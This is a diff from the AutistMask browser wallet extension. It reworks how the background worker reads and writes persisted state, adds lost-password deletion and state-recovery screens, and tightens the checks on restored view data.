// Everything the background context needs re-established on start. This runs
|
||||||
@@ -1200,12 +1293,7 @@ runtime.onMessage.addListener((msg, sender, sendResponse) => {
|
|||||||
// "it does not throw today" is not a property anyone is
|
// "it does not throw today" is not a property anyone is
|
||||||
// maintaining.
|
// maintaining.
|
||||||
log.errorf("RPC request failed:", msg.method, err);
|
log.errorf("RPC request failed:", msg.method, err);
|
||||||
sendResponse({
|
sendResponse({ error: failureError(err) });
|
||||||
error: {
|
|
||||||
code: INTERNAL_ERROR_CODE,
|
|
||||||
message: INTERNAL_ERROR_MESSAGE,
|
|
||||||
},
|
|
||||||
});
|
|
||||||
});
|
});
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
@@ -1307,16 +1395,29 @@ runtime.onMessage.addListener((msg, sender, sendResponse) => {
|
|||||||
// so an escape from there must not tell the user it might have.
|
// so an escape from there must not tell the user it might have.
|
||||||
let lastResortStage = TX_STAGE_VERIFY;
|
let lastResortStage = TX_STAGE_VERIFY;
|
||||||
(async () => {
|
(async () => {
|
||||||
// The chain this attempt is on, read once. Verification below
|
// The chain this attempt is on, read once — and the endpoint it
|
||||||
// refuses an artifact signed for any other chain, and the nonce
|
// will be broadcast to comes from the SAME read.
|
||||||
// record is both consulted and written under this one, so a
|
//
|
||||||
// network switch part-way through cannot make the check and the
|
// Verification below refuses an artifact signed for any other
|
||||||
// record disagree about which chain the nonce was spent on.
|
// chain, and the nonce record is both consulted and written under
|
||||||
|
// this one, so a network switch part-way through cannot make the
|
||||||
|
// check and the record disagree about which chain the nonce was
|
||||||
|
// spent on. The endpoint used to be read separately, several
|
||||||
|
// awaits later (`state.rpcUrl` off the singleton), so a chain
|
||||||
|
// switch committed in that window moved the endpoint out from
|
||||||
|
// under a transaction already verified against the old chain: the
|
||||||
|
// artifact would be sent to the new chain's node, which is
|
||||||
|
// precisely the "signed for a different network" case the
|
||||||
|
// verification exists to prevent.
|
||||||
let chainId;
|
let chainId;
|
||||||
|
let rpcUrl;
|
||||||
|
let networkId;
|
||||||
try {
|
try {
|
||||||
await loadState();
|
const s = await getState();
|
||||||
chainId = currentNetwork().chainId;
|
networkId = s.networkId;
|
||||||
const activeAddress = await getActiveAddress();
|
chainId = networkById(networkId).chainId;
|
||||||
|
rpcUrl = s.rpcUrl;
|
||||||
|
const activeAddress = activeAddressOf(s);
|
||||||
// An address switch between approval and signing refuses. The
|
// An address switch between approval and signing refuses. The
|
||||||
// approval named one account; signing from whichever account
|
// approval named one account; signing from whichever account
|
||||||
// is active now would send funds from an account this screen
|
// is active now would send funds from an account this screen
|
||||||
@@ -1388,7 +1489,7 @@ runtime.onMessage.addListener((msg, sender, sendResponse) => {
|
|||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
const provider = getProvider(state.rpcUrl);
|
const provider = getProvider(rpcUrl, networkId);
|
||||||
lastResortStage = TX_STAGE_BROADCAST;
|
lastResortStage = TX_STAGE_BROADCAST;
|
||||||
const tx = await provider.broadcastTransaction(msg.rawSignedTx);
|
const tx = await provider.broadcastTransaction(msg.rawSignedTx);
|
||||||
if (nonce !== null) spent.add(nonce);
|
if (nonce !== null) spent.add(nonce);
|
||||||
@@ -1427,18 +1528,10 @@ runtime.onMessage.addListener((msg, sender, sendResponse) => {
|
|||||||
// the popup nor the page is ever answered. Settle both, through
|
// the popup nor the page is ever answered. Settle both, through
|
||||||
// the same chokepoint as every other retirement.
|
// the same chokepoint as every other retirement.
|
||||||
log.errorf("transaction approval response failed:", e);
|
log.errorf("transaction approval response failed:", e);
|
||||||
settleApproval(
|
const failure = failureError(e);
|
||||||
msg.id,
|
settleApproval(msg.id, { error: failure }, { holdsClaim: true });
|
||||||
{
|
|
||||||
error: {
|
|
||||||
code: INTERNAL_ERROR_CODE,
|
|
||||||
message: INTERNAL_ERROR_MESSAGE,
|
|
||||||
},
|
|
||||||
},
|
|
||||||
{ holdsClaim: true },
|
|
||||||
);
|
|
||||||
sendResponse({
|
sendResponse({
|
||||||
error: INTERNAL_ERROR_MESSAGE,
|
error: failure.message,
|
||||||
retryable: false,
|
retryable: false,
|
||||||
stage: lastResortStage,
|
stage: lastResortStage,
|
||||||
});
|
});
|
||||||
@@ -1530,18 +1623,10 @@ runtime.onMessage.addListener((msg, sender, sendResponse) => {
|
|||||||
// Same shape as the transaction path: a throw out of the catch
|
// Same shape as the transaction path: a throw out of the catch
|
||||||
// block above would leave the popup and the page both waiting.
|
// block above would leave the popup and the page both waiting.
|
||||||
log.errorf("sign approval response failed:", e);
|
log.errorf("sign approval response failed:", e);
|
||||||
settleApproval(
|
const failure = failureError(e);
|
||||||
msg.id,
|
settleApproval(msg.id, { error: failure }, { holdsClaim: true });
|
||||||
{
|
|
||||||
error: {
|
|
||||||
code: INTERNAL_ERROR_CODE,
|
|
||||||
message: INTERNAL_ERROR_MESSAGE,
|
|
||||||
},
|
|
||||||
},
|
|
||||||
{ holdsClaim: true },
|
|
||||||
);
|
|
||||||
sendResponse({
|
sendResponse({
|
||||||
error: INTERNAL_ERROR_MESSAGE,
|
error: failure.message,
|
||||||
retryable: false,
|
retryable: false,
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
96
src/background/state.js
Normal file
96
src/background/state.js
Normal file
@@ -0,0 +1,96 @@
|
|||||||
|
// The background's access to the persisted profile.
|
||||||
|
//
|
||||||
|
// There is no in-memory copy here, and that is the whole design. The MV3
|
||||||
|
// service worker is terminated when idle and revived by the next message, so
|
||||||
|
// anything held at module scope is either absent or arbitrarily stale, and
|
||||||
|
// src/shared/state.js's module-level `state` singleton — which nothing in the
|
||||||
|
// worker ever populates — silently served DEFAULT_STATE to whoever read it.
|
||||||
|
// Five defects came out of that (https://git.eeqj.de/sneak/AutistMask/issues/324),
|
||||||
|
// and every point fix for one of them added a loadState() that created the
|
||||||
|
// next: loading detaches the objects an in-flight handler is holding.
|
||||||
|
//
|
||||||
|
// So the background reads per call and writes read-modify-write:
|
||||||
|
//
|
||||||
|
// getState() one storage read, normalized, detached. Nothing else
|
||||||
|
// holds the object it returns, so a handler may keep it
|
||||||
|
// across any number of awaits and no concurrent work can
|
||||||
|
// move it.
|
||||||
|
// updateState(fn) read fresh, apply fn to that fresh record, write it
|
||||||
|
// back — all inside a queue, so two background writes
|
||||||
|
// never interleave, and the read is one storage round trip
|
||||||
|
// ahead of the write rather than a page lifetime ahead of
|
||||||
|
// it (which is what made the popup's saveState() need a
|
||||||
|
// per-field merge against a baseline at all).
|
||||||
|
//
|
||||||
|
// A handler that must both read and write therefore does its network work
|
||||||
|
// against a snapshot it owns, and applies the RESULT inside updateState().
|
||||||
|
// It never publishes an object other in-flight work is holding.
|
||||||
|
|
||||||
|
const { storageGet, storageSet } = require("../shared/browserApi");
|
||||||
|
const { normalizePersisted } = require("../shared/persistedState");
|
||||||
|
const {
|
||||||
|
STATE_SCHEMA_VERSION,
|
||||||
|
assertStateUsable,
|
||||||
|
} = require("../shared/stateSchema");
|
||||||
|
|
||||||
|
// A fresh, fully-normalized, detached copy of the persisted profile.
|
||||||
|
//
|
||||||
|
// Normalized rather than raw: a legacy or malformed record is self-healed the
|
||||||
|
// same way loadState() heals it for the popup, so the background is never the
|
||||||
|
// one context reasoning about a shape the rest of the extension repairs.
|
||||||
|
//
|
||||||
|
// Throws StateUnusableError for a record this build cannot make sense of,
|
||||||
|
// before normalization gets a chance to paper over it — the same gate, in the
|
||||||
|
// same place, as the popup's loadState(). Every handler that consults the
|
||||||
|
// profile comes through here, so a dApp call against such a record is answered
|
||||||
|
// with the specific error the dispatcher maps that to (src/background/index.js)
|
||||||
|
// rather than dereferencing its way into a generic -32603.
|
||||||
|
async function getState() {
|
||||||
|
const result = await storageGet("autistmask");
|
||||||
|
assertStateUsable(result.autistmask);
|
||||||
|
return normalizePersisted(result.autistmask);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Serializes the read-modify-write turns below. Two of them interleaved would
|
||||||
|
// each read before the other wrote, and the second write would carry the first
|
||||||
|
// one's fields back to their pre-turn values.
|
||||||
|
let updateQueue = Promise.resolve();
|
||||||
|
|
||||||
|
async function updateStateOnce(mutate) {
|
||||||
|
const s = await getState();
|
||||||
|
await mutate(s);
|
||||||
|
s.hasWallet = Boolean(s.wallets && s.wallets.length > 0);
|
||||||
|
// Stamped on every write, exactly as the popup's saveState() stamps it:
|
||||||
|
// whichever context writes last, the record in storage is in this build's
|
||||||
|
// shape and says so.
|
||||||
|
s.schemaVersion = STATE_SCHEMA_VERSION;
|
||||||
|
await storageSet({ autistmask: s });
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Apply `mutate` to a record read fresh from storage and write the result
|
||||||
|
// back. `mutate` receives a detached, normalized profile and mutates it in
|
||||||
|
// place; it may be async, but it must not do anything slow — the window
|
||||||
|
// between the read and the write is the window in which another context's
|
||||||
|
// write is lost, and keeping it to one storage round trip is what makes a
|
||||||
|
// whole-record write safe here. Concretely: the write is the WHOLE record, so
|
||||||
|
// a popup write that lands inside that window is reverted, in every field, by
|
||||||
|
// the record this turn read before it. That is accepted because the window is
|
||||||
|
// one round trip long and the popup is not writing while the worker is;
|
||||||
|
// widening it is what would make it a real hazard.
|
||||||
|
//
|
||||||
|
// `mutate` must also not call updateState() itself, directly or through
|
||||||
|
// anything it awaits: the queue is strictly serial, so the inner turn waits on
|
||||||
|
// the outer one, which is waiting on the inner one. That deadlocks the whole
|
||||||
|
// background, not just the caller. Mutate the record you were handed.
|
||||||
|
//
|
||||||
|
// Resolves with the record that was written.
|
||||||
|
function updateState(mutate) {
|
||||||
|
const turn = updateQueue.then(() => updateStateOnce(mutate));
|
||||||
|
// The queue must advance even when a turn rejects, or every update after
|
||||||
|
// it queues behind a promise that never settles.
|
||||||
|
updateQueue = turn.catch(() => {});
|
||||||
|
return turn;
|
||||||
|
}
|
||||||
|
|
||||||
|
module.exports = { getState, updateState };
|
||||||
@@ -153,12 +153,28 @@
|
|||||||
<!-- Shared password fields -->
|
<!-- Shared password fields -->
|
||||||
<div class="mb-2" id="add-wallet-password-section">
|
<div class="mb-2" id="add-wallet-password-section">
|
||||||
<label class="block mb-1">Choose a password</label>
|
<label class="block mb-1">Choose a password</label>
|
||||||
|
<!-- The hint is swapped in place when the import tab
|
||||||
|
changes, and it sits directly above the password
|
||||||
|
fields, so a wording that wraps to a different
|
||||||
|
number of lines would move them under the pointer.
|
||||||
|
Two things stop that: the three wordings in
|
||||||
|
PASSWORD_HINTS are kept within a couple of
|
||||||
|
characters of each other in length, and this floor
|
||||||
|
matches what each of them needs. All three measure
|
||||||
|
48px -- 3 lines at the 16px line height, at the
|
||||||
|
368px width this box has in the 396px popup body.
|
||||||
|
Do not raise it: the reserve is unused height on
|
||||||
|
every tab, and at 6rem it pushed
|
||||||
|
#btn-add-wallet-confirm to bottom=628px in a 600px
|
||||||
|
viewport, below the fold. -->
|
||||||
<p
|
<p
|
||||||
class="text-xs text-muted mb-1"
|
class="text-xs text-muted mb-1 min-h-[3rem]"
|
||||||
id="add-wallet-password-hint"
|
id="add-wallet-password-hint"
|
||||||
>
|
>
|
||||||
This password encrypts your recovery phrase on this
|
This password encrypts your recovery phrase on this
|
||||||
device. You will need it to send funds.
|
device. You will need it to send funds. It cannot be
|
||||||
|
recovered or reset, so keep your recovery phrase written
|
||||||
|
down: it is the only backup of this wallet.
|
||||||
</p>
|
</p>
|
||||||
<input
|
<input
|
||||||
type="password"
|
type="password"
|
||||||
@@ -1140,6 +1156,71 @@
|
|||||||
>
|
>
|
||||||
Confirm Delete
|
Confirm Delete
|
||||||
</button>
|
</button>
|
||||||
|
<p class="text-xs mt-3">
|
||||||
|
<span
|
||||||
|
id="btn-delete-wallet-lost-password"
|
||||||
|
class="underline decoration-dashed cursor-pointer"
|
||||||
|
>I have lost my password</span
|
||||||
|
>
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- ============ DELETE WALLET WITHOUT THE PASSWORD ============ -->
|
||||||
|
<div id="view-delete-wallet-lost-password" class="view hidden">
|
||||||
|
<button
|
||||||
|
id="btn-delete-wallet-lost-back"
|
||||||
|
class="border border-border px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer mb-2"
|
||||||
|
>
|
||||||
|
< Back
|
||||||
|
</button>
|
||||||
|
<h2 class="font-bold mb-3">Delete Wallet Without a Password</h2>
|
||||||
|
<p class="text-xs mb-2">
|
||||||
|
Your password cannot be recovered or reset, so there is no
|
||||||
|
way to unlock
|
||||||
|
<strong id="delete-wallet-lost-name"></strong> again. You
|
||||||
|
can still delete it, and no password is needed to do that.
|
||||||
|
</p>
|
||||||
|
<p class="text-xs mb-2">
|
||||||
|
Deleting it erases the copy of its key that is stored on
|
||||||
|
this device. Nothing on the blockchain changes, and the
|
||||||
|
money at its addresses is not moved or destroyed.
|
||||||
|
</p>
|
||||||
|
<p class="text-xs mb-2">
|
||||||
|
If you have the recovery phrase for this wallet written
|
||||||
|
down, add the wallet again afterwards with a new password
|
||||||
|
and you will have it back.
|
||||||
|
<strong
|
||||||
|
>If you do not have it written down, deleting this
|
||||||
|
wallet means losing everything it holds,
|
||||||
|
forever.</strong
|
||||||
|
>
|
||||||
|
</p>
|
||||||
|
<p class="text-xs mb-3">Your other wallets are not touched.</p>
|
||||||
|
<p class="text-xs mb-1">
|
||||||
|
To confirm, type the name of the wallet (<strong
|
||||||
|
id="delete-wallet-lost-name-echo"
|
||||||
|
></strong
|
||||||
|
>) below.
|
||||||
|
</p>
|
||||||
|
<div class="mb-2">
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
id="delete-wallet-lost-name-input"
|
||||||
|
class="border border-border p-1 w-full font-mono text-sm bg-bg text-fg"
|
||||||
|
placeholder="Type the wallet name"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<div
|
||||||
|
id="delete-wallet-lost-flash"
|
||||||
|
class="text-xs text-red-500 mb-2 min-h-[1.25rem]"
|
||||||
|
style="visibility: hidden"
|
||||||
|
></div>
|
||||||
|
<button
|
||||||
|
id="btn-delete-wallet-lost-confirm"
|
||||||
|
class="border border-border text-red-500 px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer"
|
||||||
|
>
|
||||||
|
Delete This Wallet Forever
|
||||||
|
</button>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<!-- ============ DELETE ADDRESS CONFIRM ============ -->
|
<!-- ============ DELETE ADDRESS CONFIRM ============ -->
|
||||||
@@ -1680,6 +1761,75 @@
|
|||||||
</button>
|
</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<!-- ============ STATE RECOVERY ============ -->
|
||||||
|
<!--
|
||||||
|
Shown when the stored profile cannot be read at all. Every
|
||||||
|
other screen renders from that profile, so this one is reached
|
||||||
|
without one and is the only way out of a wallet that would
|
||||||
|
otherwise be a blank popup.
|
||||||
|
-->
|
||||||
|
<div id="view-state-recovery" class="view hidden">
|
||||||
|
<h2 class="font-bold mb-2">Saved Data Cannot Be Read</h2>
|
||||||
|
<p class="text-xs mb-2">
|
||||||
|
AutistMask stopped rather than guessing. Nothing has been
|
||||||
|
changed or erased, and nothing can be signed or sent until
|
||||||
|
this is resolved.
|
||||||
|
</p>
|
||||||
|
<div
|
||||||
|
id="state-recovery-problem"
|
||||||
|
class="text-xs font-bold mb-3 break-words"
|
||||||
|
></div>
|
||||||
|
<p class="text-xs mb-2">
|
||||||
|
Export the saved data first and keep it. It may hold the
|
||||||
|
encrypted keys for your wallets, and it is the only copy.
|
||||||
|
</p>
|
||||||
|
<button
|
||||||
|
id="btn-state-recovery-export"
|
||||||
|
class="border border-border px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer"
|
||||||
|
>
|
||||||
|
Export Saved Data
|
||||||
|
</button>
|
||||||
|
<textarea
|
||||||
|
id="state-recovery-blob"
|
||||||
|
readonly
|
||||||
|
class="hidden border border-border p-1 w-full h-32 font-mono text-xs bg-bg text-fg mt-2"
|
||||||
|
></textarea>
|
||||||
|
<p class="text-xs mt-3 mb-2">
|
||||||
|
<strong
|
||||||
|
>Erasing the saved data deletes every wallet stored in
|
||||||
|
this browser.</strong
|
||||||
|
>
|
||||||
|
Nothing on the blockchain changes and no money is moved, but
|
||||||
|
without the exported copy above, or the recovery phrase for
|
||||||
|
each wallet written down, everything they hold is gone
|
||||||
|
forever.
|
||||||
|
</p>
|
||||||
|
<p class="text-xs mb-1">
|
||||||
|
To confirm, type
|
||||||
|
<strong>ERASE MY WALLET</strong>
|
||||||
|
below.
|
||||||
|
</p>
|
||||||
|
<div class="mb-2">
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
id="state-recovery-reset-input"
|
||||||
|
class="border border-border p-1 w-full font-mono text-sm bg-bg text-fg"
|
||||||
|
placeholder="Type ERASE MY WALLET"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<div
|
||||||
|
id="state-recovery-flash"
|
||||||
|
class="text-xs text-red-500 mb-2 min-h-[1.25rem]"
|
||||||
|
style="visibility: hidden"
|
||||||
|
></div>
|
||||||
|
<button
|
||||||
|
id="btn-state-recovery-reset"
|
||||||
|
class="border border-border text-red-500 px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer"
|
||||||
|
>
|
||||||
|
Erase Saved Data
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script src="index.js"></script>
|
<script src="index.js"></script>
|
||||||
|
|||||||
@@ -1,8 +1,14 @@
|
|||||||
// AutistMask popup entry point.
|
// AutistMask popup entry point.
|
||||||
// Loads state, initializes views, triggers first render.
|
// Loads state, initializes views, triggers first render.
|
||||||
|
|
||||||
const { state, saveState, loadState } = require("../shared/state");
|
const {
|
||||||
const { setRuntimeDebug } = require("../shared/log");
|
state,
|
||||||
|
saveState,
|
||||||
|
onSaveFailure,
|
||||||
|
loadState,
|
||||||
|
} = require("../shared/state");
|
||||||
|
const { StateUnusableError } = require("../shared/stateSchema");
|
||||||
|
const { log, setRuntimeDebug } = require("../shared/log");
|
||||||
const { refreshPrices } = require("../shared/prices");
|
const { refreshPrices } = require("../shared/prices");
|
||||||
const { refreshBalances } = require("../shared/balances");
|
const { refreshBalances } = require("../shared/balances");
|
||||||
const {
|
const {
|
||||||
@@ -10,13 +16,14 @@ const {
|
|||||||
showView,
|
showView,
|
||||||
updateDebugBanner,
|
updateDebugBanner,
|
||||||
setBackRenderer,
|
setBackRenderer,
|
||||||
|
showSaveFailureBanner,
|
||||||
pushCurrentView,
|
pushCurrentView,
|
||||||
goBack,
|
goBack,
|
||||||
} = require("./views/helpers");
|
} = require("./views/helpers");
|
||||||
const { applyTheme } = require("./theme");
|
const { applyTheme } = require("./theme");
|
||||||
// Renders a view the popup lands on without having navigated to it forward:
|
// Renders a view the popup lands on without having navigated to it forward:
|
||||||
// on restore here, and on Back. Only the views that can be fully re-rendered
|
// on restore here, and on Back. Only the views that can be fully re-rendered
|
||||||
// from persisted state (RESTORABLE_VIEWS, src/popup/restorableViews.js) go
|
// from persisted state (RESTORABLE_VIEWS, src/shared/restorableViews.js) go
|
||||||
// through it; anything else falls back to the nearest restorable parent.
|
// through it; anything else falls back to the nearest restorable parent.
|
||||||
const { renderView, makeBackRenderer } = require("./viewRouter");
|
const { renderView, makeBackRenderer } = require("./viewRouter");
|
||||||
|
|
||||||
@@ -35,6 +42,7 @@ const settings = require("./views/settings");
|
|||||||
const settingsAddToken = require("./views/settingsAddToken");
|
const settingsAddToken = require("./views/settingsAddToken");
|
||||||
const deleteAddress = require("./views/deleteAddress");
|
const deleteAddress = require("./views/deleteAddress");
|
||||||
const approval = require("./views/approval");
|
const approval = require("./views/approval");
|
||||||
|
const stateRecovery = require("./views/stateRecovery");
|
||||||
|
|
||||||
function renderWalletList() {
|
function renderWalletList() {
|
||||||
home.render(ctx);
|
home.render(ctx);
|
||||||
@@ -53,11 +61,20 @@ async function doRefreshAndRender() {
|
|||||||
state.rpcUrl,
|
state.rpcUrl,
|
||||||
state.blockscoutUrl,
|
state.blockscoutUrl,
|
||||||
state.trackedTokens,
|
state.trackedTokens,
|
||||||
|
state.networkId,
|
||||||
),
|
),
|
||||||
]);
|
]);
|
||||||
state.lastBalanceRefresh = Date.now();
|
state.lastBalanceRefresh = Date.now();
|
||||||
await saveState();
|
await saveState();
|
||||||
renderWalletList();
|
renderWalletList();
|
||||||
|
} catch (e) {
|
||||||
|
// Every call site fires this and walks away — the boot below, the ten
|
||||||
|
// second interval, and eight views through ctx — so it must never
|
||||||
|
// reject: an unhandled rejection is not a report of anything. The save
|
||||||
|
// inside it reports its own failure through onSaveFailure() (see
|
||||||
|
// src/shared/state.js); what is left here is a failed network round
|
||||||
|
// trip, which the next tick retries.
|
||||||
|
log.errorf("popup: background refresh failed:", e);
|
||||||
} finally {
|
} finally {
|
||||||
refreshInFlight = false;
|
refreshInFlight = false;
|
||||||
}
|
}
|
||||||
@@ -133,7 +150,28 @@ function fallbackView() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
async function init() {
|
async function init() {
|
||||||
await loadState();
|
// First, before anything can save: showView() saves on every navigation
|
||||||
|
// without awaiting, so a save that fails from here on has somewhere to be
|
||||||
|
// reported rather than being swallowed by the save queue
|
||||||
|
// (https://git.eeqj.de/sneak/AutistMask/issues/362). Registered ahead of
|
||||||
|
// the approval-window branch below too, since that window saves as well.
|
||||||
|
onSaveFailure(showSaveFailureBanner);
|
||||||
|
try {
|
||||||
|
await loadState();
|
||||||
|
} catch (e) {
|
||||||
|
// A profile this build cannot read is the one failure that must not
|
||||||
|
// fall through to the rest of init(). It used to: the load "succeeded"
|
||||||
|
// on a record nothing had validated, and the first dereference below
|
||||||
|
// threw, leaving a popup with no view, no message and no control on
|
||||||
|
// it, and no way out of the wallet from inside the product
|
||||||
|
// (https://git.eeqj.de/sneak/AutistMask/issues/311). Now the load
|
||||||
|
// refuses, and this is the screen that says so.
|
||||||
|
if (e instanceof StateUnusableError) {
|
||||||
|
stateRecovery.show(e);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
applyTheme(state.theme);
|
applyTheme(state.theme);
|
||||||
|
|
||||||
// Sync runtime debug flag from persisted state before first render
|
// Sync runtime debug flag from persisted state before first render
|
||||||
|
|||||||
@@ -12,7 +12,7 @@
|
|||||||
// dispatch and its data guards can be tested directly; src/popup/index.js
|
// dispatch and its data guards can be tested directly; src/popup/index.js
|
||||||
// cannot be required outside a browser.
|
// cannot be required outside a browser.
|
||||||
|
|
||||||
const { RESTORABLE_VIEWS } = require("./restorableViews");
|
const { RESTORABLE_VIEWS } = require("../shared/restorableViews");
|
||||||
|
|
||||||
// The views this page load has rendered.
|
// The views this page load has rendered.
|
||||||
//
|
//
|
||||||
@@ -53,12 +53,17 @@ function resetRenderedViews() {
|
|||||||
const ALWAYS_RENDER_ON_BACK = new Set(["main"]);
|
const ALWAYS_RENDER_ON_BACK = new Set(["main"]);
|
||||||
|
|
||||||
// Views that render an address the user picked and cannot be rendered
|
// Views that render an address the user picked and cannot be rendered
|
||||||
// without one.
|
// without one. "confirm-tx" is here because its Sign button dereferences
|
||||||
|
// `state.wallets[state.selectedWallet].encryptedSecret`
|
||||||
|
// (src/popup/views/confirmTx.js) behind no guard of its own — a screen that
|
||||||
|
// can only throw when the user presses its one button must not be restored
|
||||||
|
// onto.
|
||||||
const ADDRESS_VIEWS = new Set([
|
const ADDRESS_VIEWS = new Set([
|
||||||
"address",
|
"address",
|
||||||
"address-token",
|
"address-token",
|
||||||
"receive",
|
"receive",
|
||||||
"transaction",
|
"transaction",
|
||||||
|
"confirm-tx",
|
||||||
]);
|
]);
|
||||||
|
|
||||||
function needsAddress(view) {
|
function needsAddress(view) {
|
||||||
@@ -74,6 +79,73 @@ function hasValidAddress(state) {
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// The stored viewData ENTRIES each branch below dereferences, as opposed to
|
||||||
|
// the one field it gates on.
|
||||||
|
//
|
||||||
|
// A gate on a single truthy field checks the container, not the entries, and
|
||||||
|
// the dereference is one level below it: a stored `{"currentView":
|
||||||
|
// "success-tx","viewData":{"hash":"0x1"}}` passes `data.hash` and then throws
|
||||||
|
// on `address.toLowerCase()` inside addressTitle() (src/popup/views/
|
||||||
|
// helpers.js), out of restoreView(), which src/popup/index.js does not guard —
|
||||||
|
// so the rest of popup init never runs. txStatus.restoreWait() has checked its
|
||||||
|
// own branch's fields since it was written; these are the other four.
|
||||||
|
//
|
||||||
|
// Only what actually throws is required. Fields that are compared,
|
||||||
|
// concatenated or escaped coerce (escapeHtml() and displaySymbol() both
|
||||||
|
// String() their argument), so requiring them would refuse a restorable screen
|
||||||
|
// over a cosmetic value.
|
||||||
|
function isText(value) {
|
||||||
|
return typeof value === "string";
|
||||||
|
}
|
||||||
|
|
||||||
|
function isRecord(value) {
|
||||||
|
return typeof value === "object" && value !== null && !Array.isArray(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
// An address handed to renderAddressHtml()/addressTitle(): both reach
|
||||||
|
// `address.slice()` and `address.toLowerCase()` with no guard.
|
||||||
|
function isAddressText(value) {
|
||||||
|
return isText(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Decoded calldata, as decodedDetailsHtml() (src/popup/views/txStatus.js)
|
||||||
|
// walks it: `for (const d of decoded.details)` needs an iterable, and each
|
||||||
|
// entry's `address` reaches toAddressHtml(). Absent or falsy is the ordinary
|
||||||
|
// case and short-circuits before either.
|
||||||
|
function isRenderableDecoded(value) {
|
||||||
|
if (!value) return true;
|
||||||
|
if (!isRecord(value)) return false;
|
||||||
|
if (!value.details) return true;
|
||||||
|
if (!Array.isArray(value.details)) return false;
|
||||||
|
return value.details.every(
|
||||||
|
(entry) =>
|
||||||
|
isRecord(entry) && (!entry.address || isAddressText(entry.address)),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// The pending transaction confirmTx.show() renders: `token` reaches
|
||||||
|
// renderAddressHtml() when it is not "ETH", and `from`/`to` reach
|
||||||
|
// addressTitle(), makeBlockie() and getLocalWarnings().
|
||||||
|
function isRenderablePendingTx(value) {
|
||||||
|
return (
|
||||||
|
isRecord(value) &&
|
||||||
|
isText(value.token) &&
|
||||||
|
isAddressText(value.from) &&
|
||||||
|
isAddressText(value.to)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// The stored transaction transactionDetail.render() shows. contractAddress is
|
||||||
|
// optional on an ETH transfer, and reaches addressDotHtml() when it is there.
|
||||||
|
function isRenderableTx(value) {
|
||||||
|
return (
|
||||||
|
isRecord(value) &&
|
||||||
|
isAddressText(value.from) &&
|
||||||
|
isAddressText(value.to) &&
|
||||||
|
(!value.contractAddress || isAddressText(value.contractAddress))
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
// Render `view` from persisted state. Each view module shows itself, so a
|
// Render `view` from persisted state. Each view module shows itself, so a
|
||||||
// true return means the view is both rendered and on screen.
|
// true return means the view is both rendered and on screen.
|
||||||
//
|
//
|
||||||
@@ -107,11 +179,11 @@ function renderView(view, state, views) {
|
|||||||
views.settingsAddToken.show();
|
views.settingsAddToken.show();
|
||||||
return true;
|
return true;
|
||||||
case "confirm-tx":
|
case "confirm-tx":
|
||||||
if (!data.pendingTx) return false;
|
if (!isRenderablePendingTx(data.pendingTx)) return false;
|
||||||
views.confirmTx.restore();
|
views.confirmTx.restore();
|
||||||
return true;
|
return true;
|
||||||
case "transaction":
|
case "transaction":
|
||||||
if (!data.tx) return false;
|
if (!isRenderableTx(data.tx)) return false;
|
||||||
views.transactionDetail.render();
|
views.transactionDetail.render();
|
||||||
return true;
|
return true;
|
||||||
case "wait-tx":
|
case "wait-tx":
|
||||||
@@ -120,10 +192,13 @@ function renderView(view, state, views) {
|
|||||||
return Boolean(views.txStatus.restoreWait());
|
return Boolean(views.txStatus.restoreWait());
|
||||||
case "success-tx":
|
case "success-tx":
|
||||||
if (!data.hash) return false;
|
if (!data.hash) return false;
|
||||||
|
if (!isAddressText(data.to)) return false;
|
||||||
|
if (!isRenderableDecoded(data.decoded)) return false;
|
||||||
views.txStatus.renderSuccess();
|
views.txStatus.renderSuccess();
|
||||||
return true;
|
return true;
|
||||||
case "error-tx":
|
case "error-tx":
|
||||||
if (!data.message) return false;
|
if (!data.message) return false;
|
||||||
|
if (!isAddressText(data.to)) return false;
|
||||||
views.txStatus.renderError();
|
views.txStatus.renderError();
|
||||||
return true;
|
return true;
|
||||||
default:
|
default:
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
const { $, showView, showFlash, goBack } = require("./helpers");
|
const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers");
|
||||||
const { getTopTokens } = require("../../shared/tokenList");
|
const { getTopTokens } = require("../../shared/tokenList");
|
||||||
const { state, saveState } = require("../../shared/state");
|
const { state, saveState } = require("../../shared/state");
|
||||||
const { lookupTokenInfo } = require("../../shared/balances");
|
const { lookupTokenInfo } = require("../../shared/balances");
|
||||||
@@ -13,7 +13,7 @@ function show() {
|
|||||||
list.innerHTML = getTopTokens(25)
|
list.innerHTML = getTopTokens(25)
|
||||||
.map(
|
.map(
|
||||||
(t) =>
|
(t) =>
|
||||||
`<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${t.address}" data-symbol="${t.symbol}" data-decimals="${t.decimals}">${t.symbol}</button>`,
|
